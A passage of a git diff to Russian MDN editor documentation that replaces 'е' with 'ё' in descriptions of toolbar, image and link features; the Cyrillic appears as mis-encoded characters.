+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π±Π»ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ рСдактирования. Π­Ρ‚ΠΎ Π½Π΅ Ρ‚ΠΎ ΠΆΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ HTML-ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΈΠ΄Π΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ.</dd>
</dl>
<h3 id="Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅_стили_2">Π‘Ρ‚Ρ€ΠΎΠΊΠΎΠ²Ρ‹Π΅ стили</h3>
@@ -220,15 +220,15 @@ original_slug: MDN/Editor/Basics/Toolbar
<dl>
<dt>Insert/remove numbered list</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈΠ»ΠΈ удаляСт Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ список. Когда Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ списком, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ <kbd>Enter</kbd>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт списка. Клавиша <kbd>Tab</kbd> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для увСличСния влоТСнности, Π° <kbd>Shift</kbd> + <kbd>Tab</kbd>, соотвСтствСнно, для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ. ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π°Β <kbd>Enter</kbd>Β Π² пустом элСмСнтС список Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½. НаТатиС ПКМ Π½Π° спискС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ контСкстноС мСню с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ Numbered list properties, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈΠ»ΠΈ удаляСт Π½ΡƒΠΌΠ΅Ρ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ список. Когда Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ списком, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ <kbd>Enter</kbd>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт списка. Клавиша <kbd>Tab</kbd> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использована для увСличСния влоТСнности, Π° <kbd>Shift</kbd> + <kbd>Tab</kbd>, соотвСтствСнно, для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ. ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π°Β <kbd>Enter</kbd>Β Π² пустом элСмСнтС список Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½. НаТатиС ПКМ Π½Π° спискС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ контСкстноС мСню с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ Numbered list properties, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°.</dd>
<dt>Insert/remove bulleted list</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈΠ»ΠΈ удаляСт ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ список. Когда Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ списком, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ <kbd>Enter</kbd>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт списка. Клавиша <kbd>Tab</kbd> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для увСличСния влоТСнности, Π° <kbd>Shift</kbd> + <kbd>Tab</kbd> для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ. ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π°Β <kbd>Enter</kbd>Β Π² пустом элСмСнтС список Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½. НаТатиС ПКМ Π½Π° спискС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ контСкстноС мСню с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ BulletedΒ list properties, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ (числа, Π±ΡƒΠΊΠ²Ρ‹, римскиС Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈ ΠΏΡ€., Π° Ρ‚Π°ΠΊΠΆΠ΅ с ΠΊΠ°ΠΊΠΎΠΉ Ρ†ΠΈΡ„Ρ€Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ).</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈΠ»ΠΈ удаляСт ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ список. Когда Π²Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ списком, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ <kbd>Enter</kbd>Β Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт списка. Клавиша <kbd>Tab</kbd> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для увСличСния влоТСнности, Π° <kbd>Shift</kbd> + <kbd>Tab</kbd> для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ. ΠŸΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π°Β <kbd>Enter</kbd>Β Π² пустом элСмСнтС список Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½. НаТатиС ПКМ Π½Π° спискС ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ контСкстноС мСню с ΠΎΠΏΡ†ΠΈΠ΅ΠΉ BulletedΒ list properties, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΡŒ Π½ΡƒΠΌΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ (числа, Π±ΡƒΠΊΠ²Ρ‹, римскиС Ρ†ΠΈΡ„Ρ€Ρ‹ ΠΈ ΠΏΡ€., Π° Ρ‚Π°ΠΊΠΆΠ΅ с ΠΊΠ°ΠΊΠΎΠΉ Ρ†ΠΈΡ„Ρ€Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ).</dd>
<dt>Definition List</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ список с опрСдСлСниями (definition list). Π­Ρ‚ΠΎΡ‚ список состоит ΠΈΠ· сСрии Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉΒ (ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ список Π²Ρ‹ сСйчас Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅).</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ список с опрСдСлСниями (definition list). Π­Ρ‚ΠΎΡ‚ список состоит ΠΈΠ· сСрии Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ² ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉΒ (ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚Π°ΠΊΠΎΠΉ список Π²Ρ‹ сСйчас Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅).</dd>
<dt>Definition Term</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ с Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠΌ Π² спискС. Если Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ‹ Π½Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ список, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ создан. НаТатиС Π½Π°Β <kbd>Enter</kbd> автоматичСски ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π½Π° Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ опрСдСлСния.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ с Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠΌ Π² спискС. Если Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ‹ Π½Π΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ список, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ создан. НаТатиС Π½Π°Β <kbd>Enter</kbd> автоматичСски ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π½Π° Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π½ΠΎΠ²ΠΎΠ³ΠΎ опрСдСлСния.</dd>
<dt>Definition Value</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ Π² спискС. НаТатиС Π½Π°Β <kbd>Enter</kbd> создаСт Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½. НаТав Π΄Π²Π°ΠΆΠ΄Ρ‹, Π²Ρ‹ ΠΏΠΎΠΊΠΈΠ½Π΅Ρ‚Π΅ список.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ Π±Π»ΠΎΠΊ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ Π² спискС. НаТатиС Π½Π°Β <kbd>Enter</kbd> создаёт Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½. НаТав Π΄Π²Π°ΠΆΠ΄Ρ‹, Π²Ρ‹ ΠΏΠΎΠΊΠΈΠ½Π΅Ρ‚Π΅ список.</dd>
<dt>Decrease indent</dt>
<dd>Π£ΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΡΡ‚ΡŒ. Π’ΠΎΠ³ΠΎ ΠΆΠ΅ эффСкта ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ Π½Π°ΠΆΠ°Π²Β <kbd>Shift</kbd> + <kbd>Tab</kbd>Β Π² спискС.</dd>
<dt>Increase indent</dt>
@@ -249,7 +249,7 @@ original_slug: MDN/Editor/Basics/Toolbar
<dt>Table</dt>
<dd>ВставляСт Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ Π² ΡΡ‚Π°Ρ‚ΡŒΡŽ. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ <a href="/ru/docs/MDN/Contribute/Editor/Tables">Π’Π°Π±Π»ΠΈΡ†Ρ‹</a> для ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ Ρ‚Π°Π±Π»ΠΈΡ†Π°Ρ… Π² ΡΡ‚Π°Ρ‚ΡŒΡΡ….</dd>
<dt>Embed YouTube Video</dt>
- <dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти URL для Π²ΠΈΠ΄Π΅ΠΎ YouTube. Π‘ этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ создаСтся Π²Ρ‹Π·ΠΎΠ² макроса EmbedYouTube.Β Π­Ρ‚ΠΎ бСзопасный способ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</dd>
+ <dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ввСсти URL для Π²ΠΈΠ΄Π΅ΠΎ YouTube. Π‘ этой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠ΅ΠΉ создаётся Π²Ρ‹Π·ΠΎΠ² макроса EmbedYouTube.Β Π­Ρ‚ΠΎ бСзопасный способ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</dd>
<dt>Insert MathML based on (La)TeX</dt>
<dd>ΠžΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚ Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠ΅ ΠΎΠΊΠ½ΠΎ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄Β TeX ΠΈΠ»ΠΈ LaTeX. Π­Ρ‚ΠΎΡ‚ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ Π²Β <a href="/ru/docs/Web/MathML">MathML</a> вставлСн Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π²Β {{htmlelement("math")}} Π±Π»ΠΎΠΊΠ΅.</dd>
</dl>
diff --git a/files/ru/orphaned/mdn/editor/images/index.html b/files/ru/orphaned/mdn/editor/images/index.html
index 3853046584..19adda54f1 100644
--- a/files/ru/orphaned/mdn/editor/images/index.html
+++ b/files/ru/orphaned/mdn/editor/images/index.html
@@ -15,7 +15,7 @@ original_slug: MDN/Editor/ΠšΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ
<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: </strong>ΠŸΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ изобраТСния, поТалуйста, ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ инструмСнты ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ» малСньким, Π° Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ. Π­Ρ‚ΠΎ сокращаСт врСмя Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ страницы ΠΈ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ MDN Π² Ρ†Π΅Π»ΠΎΠΌ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свой Π»ΡŽΠ±ΠΈΠΌΡ‹ΠΉ инструмСнт, Ссли ΠΎΠ½ Ρƒ вас Π΅ΡΡ‚ΡŒ. Π˜Π½Π°Ρ‡Π΅, ΠΌΡ‹ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅ΠΌ <a href="https://tinypng.com/">TinyPNG</a> - ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Π’Π΅Π± инструмСнт.</div>
-<p id="Adding_images_to_an_article">ПослС добавлСния изобраТСния Π½Π° страницу (смотритС {{SectionOnPage("/en-US/docs/MDN/Contribute/Editor/Basics", "The attachments box")}}), Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠΈ ΡΡ‚Π°Ρ‚ΡŒΠΈ. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΡƒΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ изобраТСния, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Π΅ Π½Π° сайтС MDN. Для добавлСния Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅" Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов: <img alt="Toolbar icon for inserting image" src="https://mdn.mozillademos.org/files/12475/image_icon.png" style="height: 15px; width: 18px;"></p>
+<p id="Adding_images_to_an_article">ПослС добавлСния изобраТСния Π½Π° страницу (смотритС {{SectionOnPage("/en-US/docs/MDN/Contribute/Editor/Basics", "The attachments box")}}), Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½ΠΈΠΈ ΡΡ‚Π°Ρ‚ΡŒΠΈ. Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΡƒΠΆΠ΅ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹Π΅ изобраТСния, Ρ€Π°Π·ΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅ Π½Π° сайтС MDN. Для добавлСния Π½Π°ΠΆΠΌΠΈΡ‚Π΅ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ "Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅" Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов: <img alt="Toolbar icon for inserting image" src="https://mdn.mozillademos.org/files/12475/image_icon.png" style="height: 15px; width: 18px;"></p>
<p>Окно<strong> Бвойства изобраТСния</strong>:</p>
diff --git a/files/ru/orphaned/mdn/editor/links/index.html b/files/ru/orphaned/mdn/editor/links/index.html
index 5a303726f5..fe1182a58a 100644
--- a/files/ru/orphaned/mdn/editor/links/index.html
+++ b/files/ru/orphaned/mdn/editor/links/index.html
@@ -42,7 +42,7 @@ original_slug: MDN/Editor/Бсылки
<dl>
<dd>На ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ всС страницы MDN, Ρ‡ΡŒΠΈ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ содСрТат тСкст, Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π½Π½Ρ‹ΠΉ Π²Π°ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΈΡ‚ΡŒ список ΠΈ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· страниц ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Π½Π°Π±ΠΈΡ€Π°Ρ‚ΡŒ тСкст, суТая список. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρƒ Π½Π°Π·Π²Π°Π½ΠΈΠΉ страниц отобраТаСтся ΠΈΡ… язык (Π² нашСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ это "[en-US]"). Π­Ρ‚ΠΎ Π½Π΅ отобраТаСтся Π² ΡƒΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ ссылки; Ρ‚Π°ΠΊ сдСлано для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΠ»ΠΈΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡΡΡ‹Π»Π°Π΅Ρ‚Π΅ΡΡŒ Π½Π° ΡΡ‚Π°Ρ‚ΡŒΡŽ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ языка, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π²Ρ‹.</dd>
<dt>ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½ΠΈΠ΅ ссылки (Attachments)</dt>
- <dd>Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылка Π±Ρ‹Π»Π° привязана ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΠΎΠΌΡƒ ΠΊ этой страницС. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ способ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ссылку для скачивания ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΊΠΎΠ΄Π° ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅.</dd>
+ <dd>Π’ качСствС Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Ρ‹ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ссылка Π±Ρ‹Π»Π° привязана ΠΊ ΠΎΠ΄Π½ΠΎΠΌΡƒ ΠΈΠ· Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΊ этой страницС. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ способ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ссылку для скачивания ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° ΠΊΠΎΠ΄Π° ΠΈ Ρ‚ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠ΅.</dd>
<dt>URL</dt>
<dd>НаконСц, ΠΏΠΎΠ»Π΅ для URL-адрСса позволяСт Π²Π°ΠΌ ввСсти URL; Π² ΠΏΠΎΠ»Π΅ Ρ‚Π°ΠΊΠΆΠ΅ выводятся URL Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹Ρ… Π²Π°ΠΌΠΈ элСмСнтов ΠΈΠ· мСню <strong>Article Title Lookup</strong>Β ΠΈΠ»ΠΈΒ <strong>Attachments</strong>, Ссли Π²Ρ‹ ΠΈΡ… использовали. НСрСдко ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ URL-адрСса страниц MDN, поэтому, Ссли Π²Ρ‹ ΡΡΡ‹Π»Π°Π΅Ρ‚Π΅ΡΡŒ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу MDN, ΡƒΠ΄Π°Π»ΠΈΡ‚Π΅ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя ("https://developer.mozilla.org") ΠΈΠ· Π½Π°Ρ‡Π°Π»Π° URL.</dd>
</dl>
diff --git a/files/ru/orphaned/mdn/tools/page_watching/index.html b/files/ru/orphaned/mdn/tools/page_watching/index.html
index 3118cf34c3..4c75e0f72b 100644
--- a/files/ru/orphaned/mdn/tools/page_watching/index.html
+++ b/files/ru/orphaned/mdn/tools/page_watching/index.html
@@ -16,23 +16,23 @@ original_slug: MDN/Tools/Page_watching
<p><img alt="Screenshot of MDN Watch menu" src="https://mdn.mozillademos.org/files/12551/MDN_-_Watch_Menu.png" style="height: 298px; width: 463px;"></p>
